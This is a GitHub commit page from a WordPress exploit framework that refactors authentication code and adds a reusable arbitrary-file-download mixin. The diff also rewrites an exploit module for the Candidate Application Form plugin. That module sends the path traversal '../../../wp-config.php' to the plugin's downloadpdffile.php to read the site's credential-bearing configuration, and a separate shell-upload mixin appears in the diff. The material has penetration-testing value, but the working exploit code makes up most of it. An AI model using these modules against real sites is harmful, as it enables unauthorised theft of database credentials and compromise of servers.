Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 53fd40f

Browse files
committed
Merge pull request #12 from rastating/file_download_mixin
File download mixin
2 parents af7137f + d62c69c commit 53fd40f

File tree

10 files changed

+267
-138
lines changed

10 files changed

+267
-138
lines changed

lib/wpxf/core.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
require 'wpxf/core/event_emitter'
77
require 'wpxf/core/output_emitters'
88
require 'wpxf/core/module_info'
9+
require 'wpxf/core/module_authentication'
910

1011
require 'wpxf/versioning/browser_versions'
1112
require 'wpxf/versioning/os_versions'
@@ -29,5 +30,6 @@
2930
require 'wpxf/wordpress/reflected_xss'
3031
require 'wpxf/wordpress/staged_reflected_xss'
3132
require 'wpxf/wordpress/shell_upload'
33+
require 'wpxf/wordpress/file_download'
3234

3335
require 'wpxf/core/module'

lib/wpxf/core/module.rb

Lines changed: 12 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ class Module
99
include Wpxf::WordPress::Login
1010
include Wpxf::WordPress::Options
1111
include Wpxf::WordPress::Urls
12+
include Wpxf::ModuleAuthentication
1213

1314
def initialize
1415
super
@@ -73,11 +74,8 @@ def set_option_value(name, value)
7374
res = super(name, value)
7475

7576
if payload
76-
if res == :not_found
77-
return payload.set_option_value(name, value)
78-
else
79-
payload.set_option_value(name, value)
80-
end
77+
return payload.set_option_value(name, value) if res == :not_found
78+
payload.set_option_value(name, value)
8179
end
8280

8381
res
@@ -90,28 +88,16 @@ def unset_option(name)
9088
payload.unset_option(name) if payload
9189
end
9290

93-
# Authenticate with WordPress and return the cookie.
94-
# @param username [String] the username to authenticate with.
95-
# @param password [String] the password to authenticate with.
96-
# @return [CookieJar, Boolean] the cookie in a CookieJar if successful,
97-
# otherwise, returns false.
98-
def authenticate_with_wordpress(username, password)
99-
emit_info "Authenticating with WordPress using #{username}:#{password}..."
100-
cookie = wordpress_login(username, password)
101-
if cookie.nil?
102-
emit_error 'Failed to authenticate with WordPress'
103-
return false
104-
else
105-
emit_success 'Authenticated with WordPress', true
106-
return cookie
107-
end
108-
end
109-
11091
# Run the module.
11192
# @return [Boolean] true if successful.
11293
def run
11394
if normalized_option_value('check_wordpress_and_online')
114-
return check_wordpress_and_online
95+
return false unless check_wordpress_and_online
96+
end
97+
98+
if requires_authentication
99+
@session_cookie = authenticate_with_wordpress(datastore['username'], datastore['password'])
100+
return false unless @session_cookie
115101
end
116102

117103
true
@@ -143,5 +129,8 @@ def exploit_module?
143129

144130
# @return [EventEmitter] the {EventEmitter} for the module's events.
145131
attr_accessor :event_emitter
132+
133+
# @return [String, nil] the current session cookie, if authenticated with the target.
134+
attr_reader :session_cookie
146135
end
147136
end
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
module Wpxf
2+
# Provides functionality for authenticating modules with a WordPress target.
3+
module ModuleAuthentication
4+
def initialize
5+
super
6+
7+
if requires_authentication
8+
register_options([
9+
StringOption.new(
10+
name: 'username',
11+
desc: 'The WordPress username to authenticate with',
12+
required: true
13+
),
14+
StringOption.new(
15+
name: 'password',
16+
desc: 'The WordPress password to authenticate with',
17+
required: true
18+
)
19+
])
20+
end
21+
end
22+
23+
# @return [Boolean] true if the module requires the user to authenticate.
24+
def requires_authentication
25+
false
26+
end
27+
28+
# Authenticate with WordPress and return the cookie.
29+
# @param username [String] the username to authenticate with.
30+
# @param password [String] the password to authenticate with.
31+
# @return [CookieJar, Boolean] the cookie in a CookieJar if successful,
32+
# otherwise, returns false.
33+
def authenticate_with_wordpress(username, password)
34+
emit_info "Authenticating with WordPress using #{username}:#{password}..."
35+
cookie = wordpress_login(username, password)
36+
if cookie.nil?
37+
emit_error 'Failed to authenticate with WordPress'
38+
return false
39+
else
40+
emit_success 'Authenticated with WordPress', true
41+
return cookie
42+
end
43+
end
44+
end
45+
end
Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
# Provides reusable functionality for file download modules.
2+
module Wpxf::WordPress::FileDownload
3+
include Wpxf
4+
5+
# Initialize a new instance of {FileDownload}
6+
def initialize
7+
super
8+
@info[:desc] = 'This module exploits a vulnerability which allows you to '\
9+
'download any arbitrary file accessible by the user the web server is running as.'
10+
11+
register_options([
12+
StringOption.new(
13+
name: 'remote_file',
14+
desc: "The path to the remote file (relative to #{working_directory})",
15+
required: true,
16+
default: default_remote_file_path
17+
),
18+
StringOption.new(
19+
name: 'export_path',
20+
desc: 'The path to save the file to',
21+
required: false
22+
)
23+
])
24+
end
25+
26+
# @return [String] the working directory of the vulnerable file.
27+
def working_directory
28+
nil
29+
end
30+
31+
# @return [String] the default remote file path.
32+
def default_remote_file_path
33+
nil
34+
end
35+
36+
# @return [String] the URL of the vulnerable file used to download remote files.
37+
def downloader_url
38+
nil
39+
end
40+
41+
# @return [Hash] the params to be used when requesting the download file.
42+
def download_request_params
43+
nil
44+
end
45+
46+
# @return [Hash, String] the body to be use when requesting the download file.
47+
def download_request_body
48+
nil
49+
end
50+
51+
# @return [Symbol] the HTTP method to use when requesting the download file.
52+
def download_request_method
53+
:get
54+
end
55+
56+
# @return [String] the path to the remote file.
57+
def remote_file
58+
normalized_option_value('remote_file')
59+
end
60+
61+
# @return [String] the path to save the file to.
62+
def export_path
63+
normalized_option_value('export_path')
64+
end
65+
66+
# Run the module.
67+
# @return [Boolean] true if successful.
68+
def run
69+
validate_implementation
70+
71+
return false unless super
72+
73+
res = request_file
74+
return false unless validate_result(res)
75+
76+
if export_path.nil?
77+
emit_success "Result: \n#{res.body}"
78+
else
79+
emit_success "Downlaoded file to #{export_path}"
80+
end
81+
82+
true
83+
end
84+
85+
private
86+
87+
def validate_implementation
88+
raise 'A value must be specified for #working_directory' unless working_directory
89+
end
90+
91+
def validate_result(res)
92+
if res.nil? || res.timed_out?
93+
emit_error 'Request timed out, try increasing the http_client_timeout'
94+
return false
95+
end
96+
97+
return true unless res.code != 200
98+
99+
emit_error "Server responded with code #{res.code}"
100+
false
101+
end
102+
103+
def core_request_opts
104+
{
105+
method: download_request_method,
106+
url: downloader_url,
107+
params: download_request_params,
108+
body: download_request_body,
109+
cookie: session_cookie
110+
}
111+
end
112+
113+
def request_file
114+
if export_path.nil?
115+
emit_info 'Requesting file...'
116+
return execute_request(core_request_opts)
117+
else
118+
emit_info 'Downloading file...'
119+
return download_file(core_request_opts.merge(local_filename: export_path))
120+
end
121+
end
122+
end

lib/wpxf/wordpress/shell_upload.rb

Lines changed: 0 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -22,26 +22,6 @@ def initialize
2222
max: 256
2323
)
2424
])
25-
26-
if requires_authentication
27-
register_options([
28-
StringOption.new(
29-
name: 'username',
30-
desc: 'The WordPress username to authenticate with',
31-
required: true
32-
),
33-
StringOption.new(
34-
name: 'password',
35-
desc: 'The WordPress password to authenticate with',
36-
required: true
37-
)
38-
])
39-
end
40-
end
41-
42-
# @return [Boolean] true if the module requires the user to authenticate.
43-
def requires_authentication
44-
false
4525
end
4626

4727
# @return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the upload operation.
@@ -71,11 +51,6 @@ def uploaded_payload_location
7151
def run
7252
return false unless super
7353

74-
if requires_authentication
75-
@session_cookie = authenticate_with_wordpress(datastore['username'], datastore['password'])
76-
return false unless @session_cookie
77-
end
78-
7954
emit_info 'Preparing payload...'
8055
@payload_name = "#{Utility::Text.rand_alpha(payload_name_length)}.php"
8156
builder = payload_body_builder
@@ -93,11 +68,6 @@ def run
9368
true
9469
end
9570

96-
# @return [String, nil] the current session cookie, if authenticated with the target.
97-
def session_cookie
98-
@session_cookie
99-
end
100-
10171
private
10272

10373
def payload_name_length
Lines changed: 7 additions & 60 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,11 @@
11
class Wpxf::Auxiliary::CandidateApplicationFormArbitraryFileDownload < Wpxf::Module
2-
include Wpxf
2+
include Wpxf::WordPress::FileDownload
33

44
def initialize
55
super
66

77
update_info(
88
name: 'Candidate Application Form Arbitrary File Download',
9-
desc: 'This module exploits a vulnerability in all versions of the '\
10-
'Candidate Application Form plugin which allows you to download any '\
11-
'arbitrary file accessible by the user the web server is running as.',
129
author: [
1310
'Larry W. Cashdollar', # Disclosure
1411
'Rob Carr <rob[at]rastating.com>' # WPXF module
@@ -18,75 +15,25 @@ def initialize
1815
],
1916
date: 'Aug 10 2015'
2017
)
21-
22-
register_options([
23-
StringOption.new(
24-
name: 'remote_file',
25-
desc: 'The path to the remote file (relative to wp-content/uploads/candidate_application_form/)',
26-
required: true,
27-
default: '../../../wp-config.php'
28-
),
29-
StringOption.new(
30-
name: 'export_path',
31-
desc: 'The file to save the file to',
32-
required: false
33-
)
34-
])
3518
end
3619

3720
def check
3821
check_plugin_version_from_readme('candidate-application-form')
3922
end
4023

41-
def remote_file
42-
normalized_option_value('remote_file')
24+
def default_remote_file_path
25+
'../../../wp-config.php'
4326
end
4427

45-
def export_path
46-
normalized_option_value('export_path')
28+
def working_directory
29+
'wp-content/uploads/candidate_application_form/'
4730
end
4831

4932
def downloader_url
5033
normalize_uri(wordpress_url_plugins, 'candidate-application-form', 'downloadpdffile.php')
5134
end
5235

53-
def run
54-
return false unless super
55-
56-
res = nil
57-
58-
if export_path.nil?
59-
emit_info 'Requesting file...'
60-
res = execute_get_request(
61-
url: downloader_url,
62-
params: { 'fileName' => remote_file }
63-
)
64-
else
65-
emit_info 'Downloading file...'
66-
res = download_file(
67-
url: downloader_url,
68-
method: :get,
69-
params: { 'fileName' => remote_file },
70-
local_filename: export_path
71-
)
72-
end
73-
74-
if res.nil? || res.timed_out?
75-
emit_error 'Request timed out, try increasing the http_client_timeout'
76-
return false
77-
end
78-
79-
if res.code != 200
80-
emit_error "Server responded with code #{res.code}"
81-
return false
82-
end
83-
84-
if export_path.nil?
85-
emit_success "Result: \n#{res.body}"
86-
else
87-
emit_success "Downlaoded file to #{export_path}"
88-
end
89-
90-
return true
36+
def download_request_params
37+
{ 'fileName' => remote_file, 'fileUrl' => Utility::Text.rand_alpha(5) }
9138
end
9239
end

0 commit comments

Comments
 (0)